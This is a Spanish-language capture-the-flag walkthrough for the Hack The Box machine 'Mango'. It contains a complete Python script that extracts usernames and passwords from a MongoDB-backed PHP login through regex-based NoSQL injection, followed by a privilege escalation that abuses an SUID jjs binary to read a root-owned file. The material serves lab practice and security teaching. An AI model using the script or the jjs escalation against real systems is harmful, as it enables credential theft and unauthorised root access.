Mango = MongoDB

Revisar los certificados SSL y encontrar el nombre del host adecuado:

https://staging-order.mango.htb

Revisar el link

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

Elaborar un script para explotar NoSQLi

#!/usr/bin/env python  

import requests  

import string  

url = "http://staging-order.mango.htb/index.php"  

headers = {"Host": "staging-order.mango.htb"}  

cookies = {"PHPSESSID": "9k6j39np56td4vq3q4lg4eh95j"}  

possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]  

def get_password(username):  

    print("Extracting password of " + username)  

    params = {"username":username, "password[$regex]":"", "login": "login"}  

    password = "^"  

    while True:  

        for c in possible_chars:  

            params["password[$regex]"] = password + c + ".*"  

            pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False)  

            if int(pr.status_code) == 302:  

                password += c  

                break  

        if c == possible_chars[-1]:  

            print ("Found password "+password[1:].replace("\\", "")+" for username "+username)  

            return password[1:].replace("\\", "")  

def get_usernames():  

    usernames = []  

    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}  

    for c in possible_chars:  

        username = "^" + c  

        params["username[$regex]"] = username + ".*"  

        pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False)  

        if int(pr.status_code) == 302:  

            print("Found username starting with "+c)  

            while True:  

                for c2 in possible_chars:  

                    params["username[$regex]"] = username + c2 + ".*"  

                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False).status_code) == 302:  

                        username += c2  

                        print(username)  

                        break  

                if c2 == possible_chars[-1]:  

                    print("Found username: " +username[1:])  

                    usernames.append(username[1:])  

                    break  

    return usernames  

for u in get_usernames():  

    get_password(u)

Sacar la clave de mango y de admin con el script.

Inciar sesión con mango y luego con admin.

Leer la primera flag

Correr Linenum, que identifica esto:

[+] Possibly interesting SUID files:

-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

Ir a https://gtfobins.github.io/gtfobins/jjs/ y ver como leer un archivo como usuario privilegiado.

echo 'var BufferedReader = Java.type("java.io.BufferedReader");

> var FileReader = Java.type("java.io.FileReader");

> var br = new BufferedReader(new FileReader("/root/root.txt"));

> while ((line = br.readLine()) != null) { print(line); }' | jjs

Warning: The jjs tool is planned to be removed from a future JDK release

jjs> var BufferedReader = Java.type("java.io.BufferedReader");

jjs> var FileReader = Java.type("java.io.FileReader");

jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));

jjs> while ((line = br.readLine()) != null) { print(line); }

8a8ef7****************